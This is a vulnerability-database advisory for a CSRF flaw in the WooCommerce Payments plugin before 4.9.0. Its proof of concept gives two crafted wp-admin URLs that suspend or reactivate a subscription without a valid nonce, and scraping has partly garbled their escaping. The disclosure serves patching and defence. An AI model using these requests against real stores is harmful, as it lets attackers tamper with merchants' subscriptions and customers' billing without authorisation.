Lucene search

K
wpvulndbWpvulndbWPVDB-ID:7E4C0059-F8A7-4421-B906-1A6A801AEF2A
HistorySep 11, 2023 - 12:00 a.m.

WooCommerce Payments < 4.9.0 - Subscription Suspension/Activation via CSRF

2023-09-1100:00:00
wpscan.com
2
woocommerce
payments
subscription
csrf
vulnerability
attack
admin

7.1 High

AI Score

Confidence

High

Description The plugin does not have CSRF check when suspending and activating subscriptions, which could allow attackers to make a logged in admin suspend or activate arbitrary subscription via a CSRF attack

PoC

Deactivate subscription with ID 53: https://example.com/wp-admin/edit.php?s=&amp;post;_status=all&amp;post;_type=shop_subscription&_wpnonce=&_wp_http_referer=&amp;action;=on-hold&amp;m;=0&_wcs_product=&_payment_method=&_customer_user=&amp;paged;=1&amp;post;[]=53&amp;action2;=on-hold Activate subscription with ID 53: https://example.com/wp-admin/edit.php?post_type=shop_subscription&amp;marked;_on-hold=1&amp;changed;=1&amp;ids;=53&amp;post;=53&_wpnonce=&amp;action;=active

CPENameOperatorVersion
eq4.9.0

7.1 High

AI Score

Confidence

High